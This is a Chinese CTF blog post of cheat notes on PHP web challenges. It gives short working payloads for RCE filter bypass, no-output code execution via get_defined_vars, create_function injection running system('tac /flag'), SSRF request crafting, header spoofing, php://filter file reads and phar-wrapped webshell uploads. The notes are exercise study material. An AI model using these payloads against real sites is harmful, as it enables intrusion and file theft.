web方面题目细碎知识点(持续更新)

记嘚开心壹点 2024-09-13 17:03:01 阅读 51

RCE

1.flag类似文件名被过滤时

1.1 nl *(通配符)

1.2 nl `ls`(反引号先执行)

2. 空格被过滤 $IFS$9,%09替代

3.nl,cat类似被过滤 c\at绕过 

4.rce构造题:[CISCN 2019初赛]Love Math | NSSCTF

5.无回显rce

end() - 读取数组最后一个元素

localeconv() – 函数返回一个包含本地数字及货币格式信息的数组 第一个是.

pos() – 返回数组中的当前单元, 默认取第一个值 next – 将内部指针指向数组下一个元素并输出

scandir() – 扫描目录

array_reverse() – 翻转数组

array_flip() - 键名与数组值对调

readfile() array_rand() - 随机读取键名

var_dump() - 输出数组,可以用print_r替代

file_get_contents() - 读取文件内容,show_source,highlight_file echo 可代替

get_defined_vars() - 返回由所有已定义变量所组成的数组

current() - 读取数组的第一个元素

无回显rce构造

<code>eval(end(current(get_defined_vars())));&a=highlight_file(%27flag.php%27);

HTTP请求头

题:[SWPUCTF 2022 新生赛]xff | NSSCTF

1.只允许本地访问

1.1:x-forwarded-for: 127.0.0.1

1.2:client-ip: 127.0.0.1

2.代理服务器添加

via:

3.请求来源添加

referer:

4.浏览器标识添加

User-Agent:

5.身份验证

Authorization

Cookie

ssrf

1.%00截断题:[GKCTF 2020]cve版签到 | NSSCTF

在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。

例:http://127.0.0.1%00www.baidu.com

2.fsockopen函数触发ssrf题:[HNCTF 2022 WEEK2]ez_ssrf | NSSCTF

poc脚本

<?php

$out = "GET /flag.php HTTP/1.1\r\n";

$out .= "Host: 127.0.0.1\r\n";

$out .= "Connection: Close\r\n\r\n";

echo base64_encode($out);

?>

php函数

1.intval(var,base)

get传参时默认加单引号,当函数中用字符串方式表示科学计数法时,函数的返回值是科学计数法前面的一个数,而对于科学计数法加数字则会返回科学计数法的数值

if(intval($num) < 2020 && intval($num + 1) > 2021)传入1e4类似即可

2.call_user_func()题:[SWPUCTF 2022 新生赛]numgame | NSSCTF

把第一个参数作为回调函数调用

call_user_func(类::类中方法)这样可以使我们无需实例化类就可以使用类中方法

3.basename()题:

返回路径中的文件名部分,basename函数会过滤掉非ASCII的参数

4.create_function:[NISACTF 2022]level-up | NSSCTF

create_function(string a, string b)会创造一个匿名函数,传入的两个参数均为字符串

其中,字符串a中表示函数需要传入的参数,字符串b表示函数中的执行语句

例如,create_function('$a', 'echo("hello");'),我们需要把它看作:

function niming($a)

{ echo("hello"); }

遇到$a('',$b)类似结构时,传入a=create_function和b=}system('tac /flag');//

反序列化

1.内置类SplFileObject用于读取文件内容 题:[GDOUCTF 2023]反方向的钟 | NSSCTF

反序列化遇到类似echo new $_POST['a']($_POST['b']);结构时传入

a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=文件名

2.& 符号用于创建引用,题:[FSCTF 2023]ez_php1 | NSSCTF

实现:

public function __wakeup()

{

$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php"); // 把变量赋值

}

public function __destruct()

{

echo $this->b; // 这里输出给了变量b

}

$x -> b=&$x -> a;

文件上传

1.phar伪协议 题:[NISACTF 2022]bingdundun~ | NSSCTF

将创建好的木马文件压缩为zip,比如muma.php压缩为muma.zip,再使用phar伪协议

格式:phar://muma.zip/muma,传入蚁剑进行连接

php全局变量

假如https://plustop.top/php/index.php/test/tt?user=xiao

$_SERVER['PHP_SELF']得到:/php/index.php/test/tt

$_SERVER['REQUEST_URL']得到:/php/index.php/test/tt?user=xiao

其次$_SERVER['REQUEST_URL']并不会对参数中的特殊符号进行解密 所以$_SERVER['REQUEST_URL']可以用url编码绕过(也可以加号(+) 左中括号([) 空格( ) 点号(.)绕过'_')

题:

php特性

1.GET或POST方式传进去的变量名,会自动将空格 + . [转换为_

当 [ 提前出现后,[ 会转换成下划线,而后面的字符就不会再被转义了

题[NSSRound#8 Basic]MyDoor | NSSCTF

正则过滤

1、/g 表示该表达式将用来在输入字符串中查找所有可能的匹配,返回的结果可以是多个。如果不加/g最多只会匹配一个

2、/i 表示匹配的时候不区分大小写,这个跟其它语言的正则用法相同

3、/m 表示多行匹配。什么是多行匹配呢?就是匹配换行符两端的潜在匹配。影响正则中的^$符号

4、/s 与/m相对,单行模式匹配。

5、/e 可执行模式,此为PHP专有参数,例如preg_replace函数。

6、/x 忽略空白模式。

编码

1.base64转图片标志题:[羊城杯 2020]easycon | NSSCTF

开头的/9j/并且头部缺少内容data:image/jpg;base64,



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。